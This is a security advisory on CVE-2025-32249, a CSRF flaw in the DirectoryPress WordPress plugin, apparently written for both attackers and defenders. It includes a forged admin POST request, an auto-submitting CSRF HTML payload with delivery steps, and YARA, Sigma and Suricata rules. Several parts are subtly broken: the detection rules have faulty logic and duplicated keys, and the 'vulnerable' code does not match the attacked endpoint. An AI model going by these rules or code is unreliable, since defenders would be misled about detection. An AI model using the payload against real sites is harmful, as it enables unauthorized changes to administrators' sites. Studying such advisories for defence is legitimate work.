CVE-2025-32249

Executive Summary

CVE-2025-32249 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the DirectoryPress WordPress plugin, versions up to and including 3.6.22. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or creating unauthorized directories, without their consent. The vulnerability is classified as a WordPress ecosystem issue, as it resides within the plugin’s core functionality.

The vulnerability has a CVSS score of 5.4 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, given the lack of a patch and the plugin’s widespread use in directory-based websites, the risk remains significant for unpatched installations.

Supply Chain & Package Security

This vulnerability is specific to the DirectoryPress WordPress plugin. No NPM, PyPI, Go, or Ruby packages are affected. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Administrators should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality Impact (C): None (N) – No data disclosure.
• Integrity Impact (I): Low (L) – Limited modification of plugin settings.
• Availability Impact (A): Low (L) – Potential disruption of directory services.

Threat Level: Medium. The attack requires user interaction, but the lack of a patch and the plugin’s administrative privileges make it a viable vector for social engineering campaigns.

Deep Dive & Mechanics

The CSRF vulnerability in DirectoryPress arises from the absence of nonce validation in critical administrative actions. Specifically, the plugin fails to implement WordPress’s built-in CSRF protection mechanisms (e.g., wp_nonce_field(), check_admin_referer()) in its settings and directory management endpoints.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a forged request (e.g., changing plugin settings or deleting directories).
2. The victim, an authenticated WordPress administrator, visits the malicious page while logged into their WordPress admin panel.
3. The forged request is executed in the context of the victim’s session, performing unauthorized actions.

Example Forged Request:

POST /wp-admin/admin.php?page=directorypress-settings HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

directorypress_option=delete_all&_wp_http_referer=/wp-admin/

Without a nonce, the server processes this request as legitimate.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.6.22):

// In directorypress-admin.php
function directorypress_save_settings() {
    if (isset($_POST['directorypress_option'])) {
        update_option('directorypress_settings', $_POST['directorypress_option']);
    }
}
add_action('admin_post_directorypress_save_settings', 'directorypress_save_settings');

No nonce verification is performed.

Patched Code (Hypothetical):

function directorypress_save_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'directorypress_save_settings')) {
        wp_die('Security check failed.');
    }
    if (isset($_POST['directorypress_option'])) {
        update_option('directorypress_settings', $_POST['directorypress_option']);
    }
}
add_action('admin_post_directorypress_save_settings', 'directorypress_save_settings');

Adds nonce verification using wp_verify_nonce().

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with DirectoryPress <= 3.6.22 installed.
• An authenticated admin session (victim).

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that auto-submits a form:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=directorypress-settings" method="POST">
    <input type="hidden" name="directorypress_option" value="delete_all">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Step 2: Host and Deliver Host the file on an attacker-controlled server and send the link to the victim via email or social engineering.

Step 3: Execute When the victim visits the link while logged into WordPress, the form auto-submits, triggering the unauthorized action.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin.php with page=directorypress-settings from unexpected referrers.
• Use Web Application Firewall (WAF) rules to block requests missing nonce parameters.

Prevention:

• Apply the hypothetical patch above.
• Enforce strict Content Security Policy (CSP) headers to block inline scripts.
• Educate administrators about phishing and CSRF risks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin.php?page=directorypress-settings without a valid _wpnonce parameter.
  • Referrer headers from external domains (e.g., attacker-controlled sites).
• Host:
  • Unexpected changes to wp_options table entries for directorypress_settings.
  • Modified or deleted directory entries in the WordPress database.
• Logs:
  • WordPress debug logs showing failed nonce checks (if patched).
  • Web server logs with unusual POST requests to admin pages.

Detection Engineering

YARA Rule

rule CVE_2025_32249_CSRF_DirectoryPress {
    meta:
        description = "Detects CSRF exploitation attempts against DirectoryPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32249"
    strings:
        $admin_page = "admin.php?page=directorypress-settings"
        $post_param = "directorypress_option"
        $nonce_missing = "directorypress_save_settings"
    condition:
        $admin_page and $post_param and not $nonce_missing
}

Sigma Rule

title: CVE-2025-32249 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to DirectoryPress admin page without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "page=directorypress-settings"
        cs-uri-query|contains: "directorypress_option"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32249 CSRF DirectoryPress Exploit"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"admin.php"; content:"page=directorypress-settings"; content:"directorypress_option"; http.request_body; content:"!"; pcre:"/^_wpnonce$/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the DirectoryPress plugin until a patch is released.
2. Workaround: Implement a Web Application Firewall (WAF) rule to block POST requests to /wp-admin/admin.php?page=directorypress-settings without a valid nonce.
3. Long-term Fix: Apply the hypothetical patch adding nonce verification, or update to a patched version when available.
4. Monitoring: Enable WordPress debug logging and monitor for suspicious admin actions.
5. User Training: Educate administrators on recognizing phishing attempts and avoiding clicking untrusted links while logged into WordPress.

Valters IT
Securing Digital Frontiers